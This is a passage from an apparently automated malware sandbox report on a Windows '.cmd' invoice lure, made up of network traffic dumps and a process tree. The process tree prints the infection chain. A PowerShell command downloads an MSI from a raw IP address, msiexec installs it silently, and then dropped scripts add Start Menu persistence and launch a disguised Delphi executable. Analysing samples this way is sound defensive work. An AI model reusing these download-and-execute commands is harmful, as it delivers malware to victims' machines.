2024-05-10 07:21:05 UTC	546	OUT	GET /web/images/loading-small.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:05 UTC	417	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:05 GMT Content-Type: image/png Content-Length: 7402 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: status=format_not_supported ETag: "0a31829441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:22 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3270 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182ba40ecb29dc-ORD
2024-05-10 07:21:05 UTC	952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 11 08 06 00 00 00 d4 af 2c c4 00 00 00 08 61 63 54 4c 00 00 00 0c 00 00 00 00 4c bd 2d 11 00 00 00 1a 66 63 54 4c 00 00 00 00 00 00 00 10 00 00 00 11 00 00 00 00 00 00 00 00 00 64 03 e8 00 00 33 bc 47 d0 00 00 02 2c 49 44 41 54 78 da 85 52 4d 88 12 61 18 1e 8c 0a 06 ba 44 a1 2d 49 b1 87 3a 78 d0 36 e8 d0 62 4b 4b b0 44 ad fd b8 6d 4b b4 b4 13 8e eb 41 92 9c 3d a8 87 b0 4e 1d 37 f7 da 21 10 91 40 30 f6 de a5 0e d1 0f 28 c2 0a 8b 07 c5 05 33 41 d0 11 77 40 9d f9 7a 5e 9a 0f 06 4b 7b e0 e1 7d de 79 ff 86 ef 7d 85 71 30 c6 8e 5b f4 47 f0 b3 c5 b7 09 d3 80 84 7b e0 77 f0 e9 1f df 38 80 fe 65 c6 2e 32 36 92 61 67 27 36 28 97 cb 6b 48 f8 6a 18 c6 17 d8 53 b0 75 03 0d a0 4f 6b 83 81 04 1b 4c a7 Data Ascii: PNGIHDR,acTLL-fcTLd3G,IDATxRMaD-I:x6bKKDmKA=N7!@0(3Aw@z^K{}y}q0[G{w8e.26ag'6(kHjSuOkL
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: e0 a3 1a be 4c 26 13 3d d8 db 5b c2 c6 cb 66 b3 19 c3 de 28 20 02 dc 88 8f e2 f8 37 28 d9 b2 2c 25 91 48 cc 51 2e 17 9c 0a 04 02 b7 f3 f9 fc d3 48 24 72 55 e8 63 a1 50 e8 12 4e 36 2f 49 d2 2d b8 27 dd 2b 74 e7 51 75 11 83 d3 d0 fd 09 ef dc c7 c4 c6 ce ce 7d 3a 85 8b bb c2 b7 5a 4d 06 79 4e a8 81 0b ff b1 6a b5 fa 90 17 d8 ae 6e 2f 08 ee a0 a6 fd 7e 7f 18 03 0c 23 70 6c c0 3f 39 ba 9a 5d 0d 93 96 72 28 97 07 ce 01 8f 00 d5 34 cd eb fd 0a 20 36 45 9a 2e eb 3e a6 1c 9e 7c 08 88 51 40 ff a2 47 93 c9 e4 24 f8 35 ea e6 ed 4c 7b a9 54 6a 42 d7 f5 68 cf 33 c6 e3 f1 39 59 96 67 c1 af 60 90 33 24 30 0c e3 02 0d 89 60 18 3f 88 ab 14 23 0d 69 15 45 99 f5 3e e3 08 20 41 74 1a af f1 cc 32 2d 25 18 0c 9e a5 24 06 9f 38 fd 0f f2 49 43 5a 60 b8 e7 8e c5 62 71 cc 66 b6 aa Data Ascii: L&=[f( 7(,%HQ.H$rUcPN6/I-'+tQu}:ZMyNjn/~#pl?9]r(4 6E.>\|Q@G$5L{TjBh39Yg`3$0`?#iE> At2-%$8ICZ`bqf
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: cb e5 f2 a5 7e 09 e0 bb 48 1a 8d 6b f7 28 a6 67 8c ca 9a e2 c2 43 5d 00 b7 51 35 63 65 ba 0b 85 42 76 2c 92 8b b4 dd 18 53 67 8c 1e 8f 67 5e 92 a4 39 f0 f3 a5 52 69 96 04 aa aa 8e d1 03 13 54 f5 27 71 99 7c a4 21 ad db ed 9e 33 8e 71 04 b0 d0 36 d2 34 aa e5 aa db 6a b5 1e ef 54 c2 99 38 82 3b 7f a9 6f 2c 30 dc d3 63 22 91 38 cd 38 93 7d 3e 1f cd 79 48 9f 0e 71 b4 36 8b e4 72 3c 1e 3f 25 0c b0 11 ec fa 94 be 24 99 4c 46 fa b6 be ee d2 97 ad eb 43 e5 c1 66 32 f0 71 42 8f cf 60 bf 00 ad f0 98 a0 93 ea 45 80 00 00 00 1a 66 63 54 4c 00 00 00 07 00 00 00 10 00 00 00 11 00 00 00 00 00 00 00 00 00 64 03 e8 00 00 45 05 df 7e 00 00 02 36 66 64 41 54 00 00 00 08 78 da 85 92 df 8b 12 51 14 c7 07 63 d9 50 ea d5 69 29 88 1e 76 1f 82 b4 15 4a 76 a1 32 82 0a da ed c7 94 Data Ascii: ~Hk(gC]Q5ceBv,Sgg^9RiT'q\|!3q64jT8;o,0c"88}>yHq6r<?%$LFCf2qB`EfcTLdE~6fdATxQcPi)vJv2
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: 0c 49 b1 58 e4 e9 2f 68 c3 66 b1 58 e6 d5 cc fa 32 f8 2e ed 2f e8 9c f5 e5 1f 91 8d 99 03 6b 7f a0 ef 00 00 00 1a 66 63 54 4c 00 00 00 0b 00 00 00 10 00 00 00 11 00 00 00 00 00 00 00 00 00 64 03 e8 00 00 45 e0 3d cb 00 00 02 2e 66 64 41 54 00 00 00 0c 78 da 85 53 df 6b d3 50 14 0e 53 11 02 fa 68 6b a9 38 2c 6c 0f 3e b4 54 50 50 2a 2b 08 dd c4 fd b2 fe 18 63 93 84 75 99 85 fa 94 82 f5 d1 40 ff 80 51 58 f7 34 84 ee bd 14 fa 6e 9f 36 a6 94 40 a1 c8 36 58 0b dd 68 b1 86 86 0e 9b 2e 24 b9 9e 23 b9 10 2c 99 07 3e f2 9d 7b bf 73 4e 4e ce 09 f3 af 11 42 c6 1c 7c 0e 30 3f 72 e7 62 28 b8 07 48 00 26 6d 5f 40 d8 7c 92 10 63 1d 35 ae 09 0a 85 42 d8 34 cd 0d 5d d3 78 10 5e 47 8e 09 90 6b ba ce 23 47 8d 5b e5 71 a0 de 6a b5 ca a1 b0 d7 eb 85 6a f5 1a 57 ab d7 39 e4 78 Data Ascii: IX/hfX2./kfcTLdE=.fdATxSkPShk8,l>TPP*+cu@QX4n6@6Xh.$#,>{sNNB\|0?rb(H&m_@\|c5B4]x^Gk#G[qjjW9x
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: bf 48 32 f6 e0 83 ef fd ef 7b ef cd bc f7 96 fe 35 c6 98 6b 86 87 01 91 b9 98 83 a1 e0 16 20 09 58 b5 fd 37 08 9b af 32 46 52 a8 71 2c 50 2a 95 ee 51 4a b7 26 96 b5 09 c2 4b c8 b1 00 72 6b 32 d9 44 8e 1a a7 ce 37 81 fa 1a 8d 46 02 85 a3 d1 c8 df d2 5a 89 96 a6 25 90 e3 5b b3 d9 4c a0 06 f8 0d cc e1 c9 17 00 29 bb 93 20 65 32 eb e5 72 59 8c 46 a3 6b 10 0e 20 90 ab aa ba 91 81 18 6a 6c 6d 8a cf c4 95 cb e5 62 a6 79 94 c4 40 af d7 7b 0a 6f 7e c0 32 80 1b 72 7f a7 d3 59 47 8d 69 9a c9 6c 36 fb 12 73 b9 e0 ba cf e7 7b 56 28 14 e2 a1 50 e8 81 d3 8c 82 c1 e0 fd 7c 3e 1f 47 2d b8 d7 f8 2f 44 b0 2a 0e cc 30 8c 57 bc b3 83 2d ff ee f7 63 7c 3b 67 2b d6 0f 0e 44 fe a0 b7 db 1b 4b ff 31 5d d7 cf f5 6d 1d f4 f6 a0 04 af d7 1b 56 14 05 0f e7 ce 82 3b f1 ec 29 7b 61 d4 Data Ascii: H2{5k X72FRq,PQJ&Krk2D7FZ%[L) e2rYFk jlmby@{o~2rYGil6s{V(P\|>G-/D0W-c\|;g+DK1]mV;){a
2024-05-10 07:21:05 UTC	974	IN	Data Raw: 00 35 e4 ae 66 b3 b9 86 c9 83 c1 80 8f c5 62 41 cc a5 82 ab 3e 9f 8f ad 54 2a 1f 52 a9 94 df 32 c5 3c 1e cf ed 64 32 f9 c4 e1 70 3c 04 f7 0a 7d c2 11 40 84 1b d4 15 45 f9 46 3b 4f 31 e6 b4 d5 da a0 d3 f9 3b 62 49 92 8e 88 4e ca e0 94 24 69 f8 c5 f2 1f 6b 34 1a 9b b4 40 bd 51 df b2 18 1f e5 77 bb dd c1 52 a9 f4 06 02 8b 33 f6 c4 76 70 78 10 b0 db ed 01 cc c1 5c 1a 08 02 f2 84 e8 5f 95 91 f2 7a 5a 81 7e bf 7f 0f 3b ab 44 dd c6 c5 a2 c9 e7 8d 7f f8 dc 6e b7 3f 66 b3 59 fa c6 4b 93 9d 01 de 44 22 b1 8a bb 60 1a 63 3a 9d 7e 29 08 c2 0b ab d5 ba 32 94 87 6f 35 42 84 4e a7 73 1f 04 28 de 38 39 f9 bd 8c 49 dd 6e 97 05 fd 0a c7 71 eb 3c cf af 4f 8e 71 de d8 b0 3b 44 23 87 f2 50 7e e7 f5 7a 6f 40 a1 5d f0 77 9c 4e e7 75 48 0e 1b 9d 17 51 0b b8 6c 7a 23 ac f1 03 d8 Data Ascii: 5fbA>T*R2<d2p<}@EF;O1;bIN$ik4@QwR3vpx\_zZ~;Dn?fYKD"`c:~)2o5BNs(89Inq<Oq;D#P~zo@]wNuHQlz#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49832	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WNVUD8XkxGmH5dg&MD=V6c2gDmG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-10 07:21:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: bbda5bdf-bdea-42b6-8844-57a85572762b MS-RequestId: 9d41eeed-f995-44e5-89ed-b3a1953f980f MS-CV: p0EvqfNbn0qFWsJc.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 10 May 2024 07:21:13 GMT Connection: close Content-Length: 24490
2024-05-10 07:21:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-10 07:21:13 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49840	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:51 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WNVUD8XkxGmH5dg&MD=V6c2gDmG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-10 07:21:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 0675178b-4d6f-4d5a-90da-1f2948b65ddf MS-RequestId: 5e67ff82-b92c-4b90-bb5a-c70647500a1c MS-CV: dky80ionwEOGlltE.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 10 May 2024 07:21:51 GMT Connection: close Content-Length: 25457
2024-05-10 07:21:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-10 07:21:51 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	09:20:51
Start date:	10/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" "
Imagebase:	0x7ff62e440000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:20:51
Start date:	10/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:20:51
Start date:	10/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:20:51
Start date:	10/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:20:52
Start date:	10/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:20:52
Start date:	10/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,6423806092932819281,9546343448154486120,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:20:59
Start date:	10/05/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	msiexec /i "C:\Users\user\AppData\Local\Temp\arquivo.msi" /quiet /qn
Imagebase:	0x7ff62fd70000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:20:59
Start date:	10/05/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff62fd70000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:21:01
Start date:	10/05/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 90D5E74CE3997E8BCCFBD262FBC25E1F
Imagebase:	0x800000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:21:02
Start date:	10/05/2024
Path:	C:\Windows\Installer\MSI7F24.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSI7F24.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Imagebase:	0xad0000
File size:	423'936 bytes
MD5 hash:	768B35409005592DE2333371C6253BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:21:02
Start date:	10/05/2024
Path:	C:\Windows\Installer\MSI7F35.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSI7F35.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Imagebase:	0x800000
File size:	423'936 bytes
MD5 hash:	768B35409005592DE2333371C6253BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:21:02
Start date:	10/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:21:02
Start date:	10/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:21:04
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe"
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:21:05
Start date:	10/05/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5
Imagebase:	0x7ff792200000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:21:17
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000010.00000002.2870610981.0000000000A71000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:21:17
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000011.00000002.2870548922.00000000009A1000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	09:21:17
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom.
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000012.00000002.2870540107.00000000009E1000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	09:21:17
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000013.00000002.2870514261.0000000000901000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	09:21:17
Start date:	10/05/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
